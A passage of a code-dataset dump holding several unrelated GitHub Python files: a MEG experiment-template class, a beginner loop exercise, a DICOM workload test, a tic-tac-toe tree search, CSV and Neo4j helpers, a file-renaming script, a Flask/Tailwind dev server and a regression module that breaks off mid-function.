__DEFAULT_EXPERIMENT_TEMPLATE__[\"experiment\"][\"name\"]\n          try:\n              i = exps.index( dname )\n          except:\n              exps.append(dname)\n              i = len(exps)-1\n          \n          a      = exps[0]\n          exps[0]= exps[i]\n          exps[i]= a\n          \n       return exps\n\n   def get_sorted_scans(self,issorted=True):\n       \"\"\"\n       :param issorted sort the list <True>\n       Result\n       -------\n        sorted list of scans\n       \"\"\"\n       try:\n           if isinstance( self.scans, (list)):\n              if issorted:\n                 return sorted( self.scans )\n              return self.scans\n           else:\n              return [ self.scans ]\n\n       except:\n           return []\n\n   def template_check_experiment_data(self):\n        \"\"\"\n        check's template for <experiment> structure e.g.:\n        \"experiment\":{\n              \"name\"  : experiment name,\n              \"scans\" :[ list of scans],\n              \"stages\":[ list of start dirs]\n              }\n        Result:\n        -------\n        True/False\n        \"\"\"\n        error_msg=[]\n        if not self.template_data:\n           error_msg.append(\"No template data found : \" + self.template_full_filename)\n        elif not self.template_data.get('experiment',None):\n           error_msg.append(\"No <experiment> structure found : \"+self.template_name)\n        else:\n           exp = self.template_data.get('experiment',None)\n           for k in[\"scans\",\"stages\"]:\n               if not exp.get(k):\n                  error_msg.append(\"No <{}>  found\".format(k))\n           if error_msg:\n              error_msg.insert(0,\"Checking Experiment Template\")\n              error_msg.append(\"Module  : \"+sys._getframe(1).f_code.co_name )\n              error_msg.append(\"Function: check_experiment_template_data\")\n              logger.error(\"\\n\".join(error_msg))\n              pub.sendMessage(self._pubsub_error_msg,data=error_msg)\n              return False\n        return True\n\n   def template_update(self,exp,path=None,verbose=False):\n        \"\"\" update a JuMEG template\n\n        Parameters\n        ----------\n         exp    : name of experiment\n         path   : <None>\n         verbose:<false>\n\n        Result\n        ------\n         template data dict\n        \"\"\"\n        \n        self.template_name = exp\n        if path:\n           self.template_path = path\n        self.verbose = verbose\n        if not exp == \"default\":\n           if not self.template_update_file(exit_on_error=False):\n              return False\n        if self.template_check_experiment_data():\n           return self.template_data\n        return False\n\n   def template_data_reset(self):\n       \"\"\"\n       reset <default> template to parameter defined on to of this python script\n       eg if no experiment template exists\n       :return:\n       \"\"\"\n       self.template_data = {}\n       self.template_data = copy.deepcopy(__DEFAULT_EXPERIMENT_TEMPLATE__)\n       self.template_name = self.template_data[\"experiment\"][\"name\"]\n    \n   \n\nexperiment = JuMEG_Template_Experiments()","repo_name":"jdammers/jumeg","sub_path":"jumeg/base/template/jumeg_template_experiments.py","file_name":"jumeg_template_experiments.py","file_ext":"py","file_size_in_byte":9137,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"16"}
+{"seq_id":"37317054688","text":"\nnames = ['juan', 'malala', 'rosa']\nprint('rosa' in names)\n\nfor name in names:\n    print(name)\n    \nnumeros = [x for x in range(1, 11)]\nprint(numeros)\n\ncuadrados = [x**2 for x in range(1,11)]\nprint(cuadrados)\n\npares = [x for x in range(1,21) if x % 2 == 0]\nprint(pares)\n\nnames = ['Roberto', 'Alberto', 'Ricardo', 'Rafa','Mario']\nfor name in names:\n    if name == 'Alberto':\n        continue\n    print('Hola' ' '+  name)","repo_name":"MiguelAngel3378/CURSO_ANALISIS_BD2","sub_path":"m2_python/Estructuras_control/for.py","file_name":"for.py","file_ext":"py","file_size_in_byte":419,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"8213632651","text":"#!/usr/bin/env python\n\"\"\"Workload testing.\n\nTest heavy transfer workloads over a multiple associations to look for slowdowns\nand memory leaks.\n\nResults:\n17-03-2018:\n            1 association of 400 datasets 68.34 s\n            400 associations of 1 dataset 200.7 s\n17-03-2018: 6fe488a\n            1 association of 400 datasets 79.3 s\n            400 associations of 1 dataset 200.5 s\n\"\"\"\n\nimport logging\nimport os\nimport time\n\nfrom pydicom import read_file\n\n#from dummy_c_scp import DummyStorageSCP\nfrom pynetdicom3 import AE\nfrom pynetdicom3.sop_class import CTImageStorage, RTImageStorage\n\nLOGGER = logging.getLogger('pynetdicom3')\nLOGGER.setLevel(logging.CRITICAL)\n\nTEST_DS_DIR = os.path.join(os.path.dirname(__file__), 'dicom_files')\nBIG_DATASET = read_file(os.path.join(TEST_DS_DIR, 'RTImageStorage.dcm')) # 2.1 MB\nDATASET = read_file(os.path.join(TEST_DS_DIR, 'CTImageStorage.dcm')) # 39 kB\n\n#scp = DummyStorageSCP(11112)\n#scp.start()\n\nno_runs = 400\nds_per_run = 1\nresults = []\n\nae = AE(scu_sop_class=[CTImageStorage, RTImageStorage])\nprint('Starting...')\nfor ii in range(no_runs):\n    start_time = time.time()\n    assoc = ae.associate('localhost', 11112)\n    for jj in range(ds_per_run):\n        if assoc.is_established:\n            assoc.send_c_store(DATASET)\n    assoc.release()\n    end_time = time.time()\n    delta_time = end_time - start_time\n    results.append(delta_time)\n\ntotal_time = 0.0\nfor result in results:\n    total_time += result\n\nprint('Total time: %.2f seconds' %total_time)\n\n#scp.stop()\n","repo_name":"zdalih/wolfpacs","sub_path":"pnd3/pynetdicom3/tests/heavy_workload_assoc.py","file_name":"heavy_workload_assoc.py","file_ext":"py","file_size_in_byte":1511,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"73588459209","text":"from constants import *\r\nfrom board_and_rules import Board, GameRules, PlayGame\r\nfrom simulation import Simulation\r\nimport math\r\n\r\nclass Node(GameRules):\r\n\r\n    def __init__(self, gamestate, parent_move, ind, parent_ind, wins=0, visits=0):\r\n        super().__init__()\r\n\r\n        self.gamestate = gamestate.deepcopy_self()\r\n        self.wins = wins\r\n        self.visits = visits\r\n        self.parent_move = parent_move[:]\r\n        self.children = []\r\n        self.children_moves = self.get_legal_moves(self.gamestate, self.parent_move)\r\n        self.player = [\"o\", \"x\"][parent_move[1] == \"o\"]\r\n        self.ind = ind\r\n        self.parent_ind = parent_ind\r\n\r\nclass MCTS(Simulation):\r\n\r\n    def __init__(self):\r\n        super().__init__()\r\n        self.tree = []\r\n\r\n    def argmax(self, lst):\r\n        runmax = lst[0]\r\n        maxind = 0\r\n        for i, el in enumerate(lst):\r\n            if el > runmax:\r\n                runmax = el\r\n                maxind = i\r\n        \r\n        return maxind\r\n    \r\n    def create_root_node_(self, gamestate, parent_move):\r\n        self.tree.append(Node(gamestate, parent_move, 0, None))\r\n\r\n    def UCB1(self, node):\r\n        ret = [0]*len(node.children)\r\n\r\n        for i, tree_ind in enumerate(node.children):\r\n            child = self.tree[tree_ind]\r\n            if child.visits == 0:\r\n                ret[i] = float('inf')\r\n                continue\r\n\r\n            if node.player == \"x\":\r\n                wr = child.wins / child.visits\r\n            else:\r\n                wr = 1 - (child.wins / child.visits)\r\n            \r\n            ret[i] = wr + C_PARAMETER * math.sqrt(math.log(node.visits) / child.visits)\r\n\r\n        return ret\r\n\r\n    def selection(self, node):\r\n        while True:\r\n            if len(node.children_moves):\r\n                return node\r\n            if len(node.children):\r\n                i = self.argmax(self.UCB1(node))\r\n                node = self.tree[node.children[i]]\r\n                continue\r\n            break\r\n        return node\r\n\r\n    def expansion_(self, node):\r\n        if self.is_terminal(node.gamestate) != '-':\r\n            return\r\n        if len(node.children_moves):\r\n            move = node.children_moves.pop()\r\n            gamestate = node.gamestate.deepcopy_self()\r\n            self.make_move_(gamestate, move)\r\n            child = Node(gamestate, move, len(self.tree), node.ind)\r\n            self.tree.append(child)\r\n            node.children.append(child.ind)\r\n\r\n    def simulation(self, node, num_sims=1):\r\n        return self.play_n_randoms(num_sims, node.gamestate, node.parent_move)\r\n\r\n    def backpropagation_(self, node, result):\r\n        node.wins += result[\"x\"]\r\n        node.visits += sum(result.values())\r\n\r\n        if node.parent_ind is None:\r\n            return\r\n        \r\n        self.backpropagation_(self.tree[node.parent_ind], result)\r\n\r\n    def print_evaluation(self):\r\n        pass\r\n\r\n    def search(self, gamestate, prev_move, num_iters, num_sims=1, hide_evaluations=True):\r\n        self.tree = []\r\n        self.create_root_node_(gamestate, prev_move)\r\n        root = self.tree[0]\r\n\r\n        for _ in range(num_iters):\r\n            node = self.selection(root)\r\n            self.expansion_(node)\r\n            if node.children != []:\r\n                node = self.tree[node.children[self.argmax(self.UCB1(node))]]\r\n            result = self.simulation(node, num_sims)\r\n            self.backpropagation_(node, result)\r\n\r\n        wght_visits = [self.tree[x].visits for x in root.children]\r\n\r\n        if not hide_evaluations:\r\n            self.print_evaluations()\r\n\r\n        best_child = self.tree[root.children[self.argmax(wght_visits)]]\r\n        return best_child.parent_move\r\n\r\nif __name__ == '__main__':\r\n    run = MCTS()\r\n    printer = PlayGame()\r\n\r\n    gamestate = Board()\r\n    parent_move = [40, \"o\"]\r\n    run.make_move_(gamestate, parent_move)\r\n    printer.set_gamestate_(gamestate)\r\n\r\n    print(run.search(gamestate, parent_move, 10000))\r\n    for node in run.tree[0:9]:\r\n        printer.set_gamestate_(node.gamestate)\r\n        printer.print_board()\r\n        print(node.parent_move)","repo_name":"BevandaIvan/uttt-mcts","sub_path":"mcts.py","file_name":"mcts.py","file_ext":"py","file_size_in_byte":4087,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"251517882","text":"import csv\nimport json\nfrom datetime import datetime\n\"\"\"\n# JPeZlL4HJfU,HcyeaHxtVpg,UNK,UNK,UNK,UNK,UNK,UNK,UNK,UNK\n\n\"\"\"\nclass VideoData:\n  def __init__(self, id, description, thumbnail, title, genre, noID):\n    self.id = id\n    self.genre = genre\n    self.thumbnail = thumbnail\n    self.description = description\n    self.title = title\n    self.noID = noID\n    # 01/06/2022 18:05:14\n\n  def toJSON(self):\n    return json.dumps(self, default=lambda o: o.__dict__, sort_keys=True, indent=2)\n\nVideoArray = []\ndateArray = []\n\nswitcher = {\n  \"Kuliner\": 2,\n  \"Homecare\": 3,\n  \"Healthcare\": 4,\n  \"Tutorial\": 1,\n  \"Ecommerce\": 5,\n  \"Marketing\": 7,\n  \"Review\": 6\n}\n\nwith open('data.csv', encoding=\"utf-8\") as csv_file:\n  csv_reader = csv.reader(csv_file, delimiter=';')\n  line_count = 0\n  id = 1\n  for row in csv_reader:\n    dateArray.append(datetime.strptime(row[5], \"%d/%m/%Y %H:%M:%S\"))\n    tempVidData = VideoData(row[0], row[1], row[2], row[3], row[4], id)\n    id += 1\n    VideoArray.append(tempVidData)\n\ndef getGenre(id):\n  return VideoArray[id-1].genre\n\ndef getID(id):\n  return VideoArray[id-1].id\n\ndef genreSplice(genre):\n  x = genre.split(\"|\")\n  return x\n\ndef genretoInt(array):\n  returnValue = []\n\n  for element in array:\n    returnValue.append(switcher.get(element,0))\n\n  return returnValue\n    \n\ndef genreConcat(array):\n  returnValue = []\n  for element in array:\n    returnValue.extend(genreSplice(getGenre(element)))\n  len_genre = (len(returnValue))\n  print(len_genre)\n\n  \n  if len_genre < 20:\n    for i in range(len_genre,20):\n      returnValue.append(\"UNK\")\n  print(returnValue)\n  return genretoInt(returnValue[:21])\n\ndef getDetails(array):\n  datas = []\n  # str = \"[\"\n  # i = 0\n  # for element in array:\n  #   if i != 0:\n  #     str += \",\"\n  #   str += VideoArray[element-1].toJSON()\n  #   i += 1\n  # str += \"]\" \n  for e in array:\n    datas.append(VideoArray[e-1])\n  # print(VideoArray[e-1].toJSON())\n  return datas\n\ndef sortArray(array):\n  for i in range(len(array)):\n    for j in range(0, len(array) - i - 1):\n      if dateArray[array[j] - 1]< dateArray[array[j + 1] - 1]:\n        temp = array[j]\n        array[j] = array[j + 1]\n        array[j + 1] = temp\n\ndef genreFilter(genre):\n  returnValue = []\n  for element in VideoArray:\n    x = genreSplice(element.genre)\n    genrePresent = False\n    for i in x:\n      if switcher.get(i, 0) == genre:\n        genrePresent = True\n    if genrePresent:\n      returnValue.append(element.noID)\n\n  sortArray(returnValue)  \n  return returnValue\n\ndef getDates(array):\n  for element in array:\n    print(VideoArray[element - 1].uploadTime)\n\n# print(genreFilter(4))","repo_name":"BUMI-Team/BUMI-Machine-Learning","sub_path":"API/BUMI-API/helper.py","file_name":"helper.py","file_ext":"py","file_size_in_byte":2604,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"16"}
+{"seq_id":"12288530636","text":"from py2neo import Graph,Node,Relationship\nimport nltk \nfrom nltk.corpus import wordnet as wn\nimport random\nimport requests\nimport urllib.request\nfrom generators.Q2FetchData import * \n\ndef retrieveSubWords(word, levelDown, numberWords, graph): # retieve hyponyms at a level \n    arrayWords = []\n\n    query = ''' Match (t1:Term)<-[:ISA*1..'''+str(levelDown)+''']-(t2:Term) Where t1.name =\"'''+word+'''\" Return t2''' # fetch hyponyms for a level \n    nodes = graph.run(query)\n\n    for node in nodes:\n        arrayWords.append(node[0]['name'])\n\n    random.shuffle(arrayWords)\n    arrayWords = arrayWords[:numberWords] # take n words of hyponyms \n    return arrayWords\n\n\ndef createQuestion3Words(word, levelDown, numberWordsTotal):\n    typeW = typeWord(word, connect())\n    numberSubWords = random.randint(1,numberWordsTotal)\n    wordsCategory = retrieveSubWords(word,levelDown,numberSubWords, connect()) # correct words \n    randomWords = chooseRandomWords(fetchAllWords(),numberWordsTotal-len(wordsCategory), typeW) # random words \n    dictWords = {}\n    dictWords[word] = wordsCategory\n    dictWords['random'] = randomWords\n    return dictWords\n\n#print(createQuestion3Words(\"apple\", 2, 12))\n","repo_name":"olexstet/BSP6ProjectFlaskReactNeo4j","sub_path":"source_codes/flask-backend/generators/Q3FetchData.py","file_name":"Q3FetchData.py","file_ext":"py","file_size_in_byte":1190,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"30988897032","text":"#! python3\n# renameDates.py - rename american dates MM-DD-YYYY to european dates DD-MM-YYYY\n\nimport shutil, os, re\n\n#Create a regex that fits american datetypes\ndatePattern = re.compile(f\"\"\" \n    ^(.*?)              # all text before the date\n    ((0|1)?\\d)-         # matches 2 digits with 0 or 1 first digit  \n    ((0|1|2|3)?\\d)-     # matches 2 digits with 0-3 first digit   \n    ((19|20)\\d\\d)      # matches 4 digits with 19-20 first 2 digits\n    (.*?)$             # all text after the date            \n    \"\"\",re.VERBOSE)\n\n#Loop over files in workind directory\nfor amerFilename in os.listdir():\n    mo = datePattern.search(amerFilename)\n\n#skip files that are none\n    if mo == None:\n        continue\n\n#get the different parts of the filename\n    beforePart = mo.group(1)\n    monthPart = mo.group(2)\n    dayPart = mo.group(4)\n    yearPart = mo.group(6)\n    afterPart = mo.group(8) \n#Form european-style form filename\n    euroFilename = beforePart + dayPart + \"-\" + monthPart + \"-\" + yearPart + afterPart\n\n#Get the full absolute filepaths\n    absWorkingDir = os.path.abspath('.')\n    amerFilename = os.path.join(absWorkingDir, amerFilename)\n    euroFilename = os.path.join(absWorkingDir, euroFilename)\n\n# Rename the files.\n    print(f'Renaming \"{amerFilename}\" to \"{euroFilename}\"...')\n    #shutil.move(amerFilename, euroFilename)   # uncomment after testing","repo_name":"Sinsnickers/Automatetheboringstuff","sub_path":"Chapter10/renameDates.py","file_name":"renameDates.py","file_ext":"py","file_size_in_byte":1362,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"31309475000","text":"from __future__ import annotations\n\nimport argparse\nimport asyncio\nimport concurrent.futures\nimport dataclasses\nimport datetime\nimport json\nimport shlex\nimport subprocess\nfrom typing import Sequence, Set\n\nimport websockets.legacy.protocol as ws_protocol\nimport websockets.server as ws_server\n\nfrom flask_livetw.config import Config\nfrom flask_livetw.util import Term, pkgprint, set_default_env\n\nFLASK_BASE_EXCLUDE_PATTERNS = (\"*/**/dev.py\",)\n\nLR_CONNECTIONS: Set[ws_server.WebSocketServerProtocol] = set()\n\n\nasync def handle_connection(websocket: ws_server.WebSocketServerProtocol):\n    LR_CONNECTIONS.add(websocket)\n    try:\n        await websocket.wait_closed()\n    finally:\n        LR_CONNECTIONS.remove(websocket)\n\n\nasync def live_reload_server(host: str, port: int):\n    async with ws_server.serve(handle_connection, host, port) as server:\n        pkgprint(\n            f\"Live reload {Term.G}ready{Term.END} on {Term.C}ws://{host}:{Term.BOLD}{port}{Term.END}\"\n        )\n\n        await server.wait_closed()\n\n        pkgprint(f\"Live reload {Term.G}closed{Term.END}\")\n\n\ndef handle_tailwind_output(process: subprocess.Popen[bytes]):\n    if process.stdout is None:\n        return\n\n    for line in iter(process.stdout.readline, b\"\"):\n        if process.poll() is not None:\n            break\n\n        if line.startswith(b\"Done\"):\n            ws_protocol.broadcast(\n                LR_CONNECTIONS,\n                json.dumps(\n                    {\n                        \"type\": \"TRIGGER_FULL_RELOAD\",\n                        \"data\": datetime.datetime.now().isoformat(),\n                    }\n                ),\n            )\n\n        print(f'{Term.C}[twcss]{Term.END} {line.decode(\"utf-8\")}', end=\"\")\n\n\ndef handle_flask_output(process: subprocess.Popen[bytes]):\n    if process.stdout is None:\n        return\n\n    for line in iter(process.stdout.readline, b\"\"):\n        if process.poll() is not None:\n            break\n\n        print(f'{Term.G}[flask]{Term.END} {line.decode(\"utf-8\")}', end=\"\")\n\n\n@dataclasses.dataclass\nclass DevConfig:\n    no_live_reload: bool\n    live_reload_host: str\n    live_reload_port: int\n\n    no_flask: bool\n    flask_host: str | None\n    flask_port: int | None\n    flask_mode: str\n    flask_exclude_patterns: Sequence[str] | None\n\n    no_tailwind: bool\n    tailwind_input: str | None\n    tailwind_output: str\n    tailwind_minify: bool\n\n\nasync def dev_server(config: DevConfig):\n    def live_reload_coroutine():\n        if config.no_live_reload or config.no_tailwind:\n            return None\n\n        host = config.live_reload_host\n        port = config.live_reload_port\n\n        return live_reload_server(host, port)\n\n    def tailwind_cli_executor(\n        loop: asyncio.AbstractEventLoop,\n        pool: concurrent.futures.ThreadPoolExecutor,\n    ):\n        if config.no_tailwind:\n            return None\n\n        input_arg = \"\"\n        if config.tailwind_input is not None:\n            input_arg = f\"-i {config.tailwind_input}\"\n\n        output_arg = f\"-o {config.tailwind_output}\"\n\n        minify_arg = \"--minify\" if config.tailwind_minify else \"\"\n\n        cmd = f\"tailwindcss --watch {input_arg} {output_arg} {minify_arg}\"\n\n        process = subprocess.Popen(\n            shlex.split(cmd), stdout=subprocess.PIPE, stderr=subprocess.STDOUT\n        )\n\n        return loop.run_in_executor(pool, handle_tailwind_output, process)\n\n    def flask_server_executor(\n        loop: asyncio.AbstractEventLoop,\n        pool: concurrent.futures.ThreadPoolExecutor,\n    ):\n        if config.no_flask:\n            return None\n\n        host_arg = \"\"\n        if config.flask_host is not None:\n            host_arg = f\"--host {config.flask_host}\"\n\n        port_arg = \"\"\n        if config.flask_port is not None:\n            port_arg = f\"--port {config.flask_port}\"\n\n        debug_arg = \"--debug\" if config.flask_mode == \"debug\" else \"\"\n\n        exclude_patterns: list[str] = list(FLASK_BASE_EXCLUDE_PATTERNS)\n        if config.flask_exclude_patterns is not None:\n            exclude_patterns.extend(config.flask_exclude_patterns)\n\n        exclude_patterns_arg = (\n            f\"--exclude-patterns {';'.join(exclude_patterns)}\"\n        )\n\n        cmd = f\"\\\n            flask run {host_arg} {port_arg} {debug_arg} {exclude_patterns_arg}\"\n\n        process = subprocess.Popen(\n            shlex.split(cmd), stdout=subprocess.PIPE, stderr=subprocess.STDOUT\n        )\n\n        return loop.run_in_executor(pool, handle_flask_output, process)\n\n    loop = asyncio.get_running_loop()\n\n    with concurrent.futures.ThreadPoolExecutor(max_workers=3) as pool:\n        maybe_future_like = (\n            live_reload_coroutine(),\n            tailwind_cli_executor(loop, pool),\n            flask_server_executor(loop, pool),\n        )\n\n        futures = (\n            future for future in maybe_future_like if future is not None\n        )\n\n        pkgprint(\"Starting dev server...\")\n\n        _ = await asyncio.gather(*futures, return_exceptions=True)\n\n\ndef dev(cli_args: argparse.Namespace) -> int:\n    set_default_env(\"LIVETW_DEV\", \"TRUE\")\n\n    project_config = Config.try_from_pyproject_toml()\n    if project_config is None:\n        pkgprint(\n            \"Project config not found. Dev server not started.\",\n        )\n        pkgprint(\n            \"Try checking your current working directory or running 'flask-livetw init' to configure the project.\"\n        )\n        return 1\n\n    no_live_reload = cli_args.no_live_reload\n    live_reload_host = (\n        cli_args.live_reload_host or project_config.live_reload_host\n    )\n    live_reload_port = (\n        cli_args.live_reload_port or project_config.live_reload_port\n    )\n\n    no_flask = cli_args.no_flask\n    flask_host = cli_args.flask_host or project_config.flask_host\n    flask_port = cli_args.flask_port or project_config.flask_port\n    flask_mode = cli_args.flask_mode\n    flask_exclude_patterns = (\n        cli_args.flask_exclude_patterns\n        or project_config.flask_exclude_patterns\n    )\n\n    no_tailwind = cli_args.no_tailwind\n    tailwind_input = (\n        cli_args.tailwind_input or project_config.full_globalcss_file\n    )\n    tailwind_output = (\n        cli_args.tailwind_output or project_config.full_tailwind_file\n    )\n    tailwind_minify = cli_args.tailwind_minify\n\n    dev_config = DevConfig(\n        no_live_reload=no_live_reload,\n        live_reload_host=live_reload_host,\n        live_reload_port=live_reload_port,\n        no_flask=no_flask,\n        flask_host=flask_host,\n        flask_port=flask_port,\n        flask_mode=flask_mode,\n        flask_exclude_patterns=flask_exclude_patterns,\n        no_tailwind=no_tailwind,\n        tailwind_input=tailwind_input,\n        tailwind_output=tailwind_output,\n        tailwind_minify=tailwind_minify,\n    )\n\n    asyncio.run(dev_server(dev_config))\n    return 0\n\n\ndef add_command_args(parser: argparse.ArgumentParser) -> None:\n    parser.add_argument(\n        \"--no-live-reload\",\n        dest=\"no_live_reload\",\n        action=\"store_true\",\n        default=False,\n        help=\"Disable live reload server.\",\n    )\n    parser.add_argument(\n        \"-lrh\",\n        \"--live-reload-host\",\n        dest=\"live_reload_host\",\n        type=str,\n        help=\"Hostname for live reload server.\",\n    )\n    parser.add_argument(\n        \"-lrp\",\n        \"--live-reload-port\",\n        dest=\"live_reload_port\",\n        type=int,\n        help=\"Port for live reload server.\",\n    )\n\n    parser.add_argument(\n        \"--no-flask\",\n        dest=\"no_flask\",\n        action=\"store_true\",\n        default=False,\n        help=\"Disable flask server.\",\n    )\n    parser.add_argument(\n        \"-fh\",\n        \"--flask-host\",\n        dest=\"flask_host\",\n        type=str,\n        help=\"Hostname for flask server.\",\n    )\n    parser.add_argument(\n        \"-fp\",\n        \"--flask-port\",\n        dest=\"flask_port\",\n        type=int,\n        help=\"Port for flask server.\",\n    )\n    parser.add_argument(\n        \"-fm\",\n        \"--flask-mode\",\n        dest=\"flask_mode\",\n        choices=(\"debug\", \"no-debug\"),\n        default=\"debug\",\n        help=\"If debug mode is enabled, the flask server will be started with --debug flag. Default: debug.\",\n    )\n    parser.add_argument(\n        \"--flask-exclude-patterns\",\n        dest=\"flask_exclude_patterns\",\n        type=str,\n        nargs=\"+\",\n        help=\"File exclude patterns for flask server. Base: */**/dev.py\",\n    )\n\n    parser.add_argument(\n        \"--no-tailwind\",\n        dest=\"no_tailwind\",\n        action=\"store_true\",\n        default=False,\n        help=\"Disable tailwindcss generation. If tailwindcss is disabled the live reload server will not be started.\",\n    )\n    parser.add_argument(\n        \"-ti\",\n        \"--tailwind-input\",\n        dest=\"tailwind_input\",\n        type=str,\n        help=\"Input path for global css file. Includes glob patterns.\",\n    )\n    parser.add_argument(\n        \"-to\",\n        \"--tailwind-output\",\n        dest=\"tailwind_output\",\n        type=str,\n        help=\"Output path for the generated css file.\",\n    )\n    parser.add_argument(\n        \"-tm\",\n        \"--tailwind-minify\",\n        dest=\"tailwind_minify\",\n        action=\"store_true\",\n        default=False,\n        help=\"Enables minification of the generated css file.\",\n    )\n\n\ndef add_command(\n    subparser: argparse._SubParsersAction[argparse.ArgumentParser],\n) -> None:\n    parser = subparser.add_parser(\n        name=\"dev\",\n        description=\"\"\"\n        Extended dev mode for flask apps.\n        By default runs the flask app in debug mode,\n        tailwindcss in watch mode and live reload server.\n        \"\"\",\n        help=\"Run a development server.\",\n        allow_abbrev=True,\n        formatter_class=argparse.MetavarTypeHelpFormatter,\n    )\n\n    add_command_args(parser)\n\n\ndef main(args: Sequence[str] | None = None) -> int:\n    parser = argparse.ArgumentParser(\n        description=\"\"\"\n        Extended dev mode for flask apps.\n        By default runs the flask app in debug mode,\n        tailwindcss in watch mode and live reload server.\n        \"\"\",\n        allow_abbrev=True,\n        formatter_class=argparse.MetavarTypeHelpFormatter,\n    )\n\n    add_command_args(parser)\n\n    parsed_args = parser.parse_args(args)\n\n    return dev(parsed_args)\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n","repo_name":"J-Josu/flask-livetw","sub_path":"flask_livetw/dev_server.py","file_name":"dev_server.py","file_ext":"py","file_size_in_byte":10240,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"73413392967","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreating a module to call on different machine learning models.\r\nIn creation stage... will likely split apart to different modules of their own.\r\n\r\nWill also have a data cleaning module.\r\n\r\nIf available, data imaging will be available.\r\n\r\nThis will prompt the user to fill in information about the data, then it will\r\nask the user which type of analysis should be performed.\r\n\r\nInformation about the data requested:\r\n    - Data ready for analysis (Y / N)\r\n    - Columns of data\r\n    - Columns of dependent data\r\n    - Column(s) of independent data\r\n\r\nHints will be available about which type of predictive analytics platform to choose from.\r\n\r\nThe modules that will be called will have all of the options available... in lamens terms\r\n\r\n\r\n\r\nThere are nine main sections to call from:\r\n    1. Regression\r\n    2. Classification\r\n    3. Clustering\r\n    4. Association Rule Learning\r\n    5. Reinforcement Learning\r\n    6. Natural Language Processing\r\n    7. Deep Learning\r\n    8. Dimensionality Reduction\r\n    9. Model Selection & Boosting\r\n\r\nEach section will likely have their own components:\r\n    1. Regression\r\n        a. Decision Tree Regression\r\n        b. Multiple Linear Regression\r\n        c. Polynomial Regression\r\n        d. Random Forest Regression\r\n        e. Support Vector Regression\r\n    2. Classification\r\n        a. Decision Tree Classification\r\n        b. K Nearest Neighbors Classification (KNN)\r\n        c. Kernel SVM Classification\r\n        d. Logistic Regression Classification\r\n        e. Naive Bayes Classification\r\n        f. Random Forest Classification\r\n        g. Support Vector Machine Classification\r\n    3. Clustering\r\n        a. K Means Clustering\r\n        b. Hierarchical Clustering\r\n    4. Association Rule Learning\r\n        a. Apriori\r\n        b. Eclat\r\n    5. Reinforcement Learning\r\n        a. Upper Confidence Bound\r\n        b. Thompson Sampling\r\n    6. Natural Language Processing\r\n        a. Natural Language Processing\r\n    7. Deep Learning\r\n        a. Artificial Neural Networks (ANN)\r\n        b. Convolutional Neural Networks (CNN)\r\n    8. Dimensionality Reduction\r\n        a. (PCA)\r\n        b. (LDA)\r\n        C. (Kernel PCA)\r\n    9. Model Selection & Boosting\r\n        a. Model Selection - Grid Search\r\n        b. Model Selection - K Fold Cross Validation\r\n        c. Boosting - Xg Boost\r\n\r\n- Klein\r\n\"\"\"\r\n\r\nimport numpy as np\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\n\r\ndef decision_tree_regression(path, size_select):\r\n    dataset = pd.read_csv(path)\r\n    X = dataset.iloc[:, :-1].values\r\n    y = dataset.iloc[:, -1].values\r\n\r\n    # Splitting the dataset into the Training set and Test set\r\n    from sklearn.model_selection import train_test_split\r\n    X_train, X_test, y_train, y_test = train_test_split(X, y, test_size = size_select, random_state = 0)\r\n\r\n    # Training the Decision Tree Regression model on the Training set\r\n    from sklearn.tree import DecisionTreeRegressor\r\n    regressor = DecisionTreeRegressor(random_state = 0)\r\n    regressor.fit(X_train, y_train)\r\n\r\n    # Predicting the Test set results\r\n    y_pred = regressor.predict(X_test)\r\n    np.set_printoptions(precision=2)\r\n    print(np.concatenate((y_pred.reshape(len(y_pred),1), y_test.reshape(len(y_test),1)),1))\r\n\r\n    # Evaluating the Model Performance\r\n    from sklearn.metrics import r2_score\r\n    score = r2_score(y_test, y_pred)\r\n    print(f'The r2 score is {score}.')\r\n    \r\n    return regressor\r\n\r\n\r\ndef multiple_linear_regression(path, size_select):\r\n    dataset = pd.read_csv(path)\r\n    X = dataset.iloc[:, :-1].values\r\n    y = dataset.iloc[:, -1].values\r\n\r\n    # Splitting the dataset into the Training set and Test set\r\n    from sklearn.model_selection import train_test_split\r\n    X_train, X_test, y_train, y_test = train_test_split(X, y, test_size = size_select, random_state = 0)\r\n\r\n    # Training the Multiple Linear Regression model on the Training set\r\n    from sklearn.linear_model import LinearRegression\r\n    regressor = LinearRegression()\r\n    regressor.fit(X_train, y_train)\r\n    \r\n    # Predicting the Test set results\r\n    y_pred = regressor.predict(X_test)\r\n    np.set_printoptions(precision=2)\r\n    print(np.concatenate((y_pred.reshape(len(y_pred),1), y_test.reshape(len(y_test),1)),1))\r\n    \r\n    # Evaluating the Model Performance\r\n    from sklearn.metrics import r2_score\r\n    score = r2_score(y_test, y_pred)\r\n    print(f'The r2 score is {score}.')\r\n    \r\n    return regressor\r\n\r\n\r\ndef polynomial_regression(path, size_select):\r\n    dataset = pd.read_csv(path)\r\n    X = dataset.iloc[:, :-1].values\r\n    y = dataset.iloc[:, -1].values\r\n    \r\n    degree_select = int(input('Type polynomial degree to use\\n'))\r\n\r\n    # Splitting the dataset into the Training set and Test set\r\n    from sklearn.model_selection import train_test_split\r\n    X_train, X_test, y_train, y_test = train_test_split(X, y, test_size = size_select, random_state = 0)\r\n\r\n    # Training the Polynomial Regression model on the Training set\r\n    from sklearn.preprocessing import PolynomialFeatures\r\n    from sklearn.linear_model import LinearRegression\r\n    poly_reg = PolynomialFeatures(degree = degree_select)\r\n    X_poly = poly_reg.fit_transform(X_train)\r\n    regressor = LinearRegression()\r\n    regressor.fit(X_poly, y_train)\r\n    \r\n    # Predicting the Test set results\r\n    y_pred = regressor.predict(poly_reg.transform(X_test))\r\n    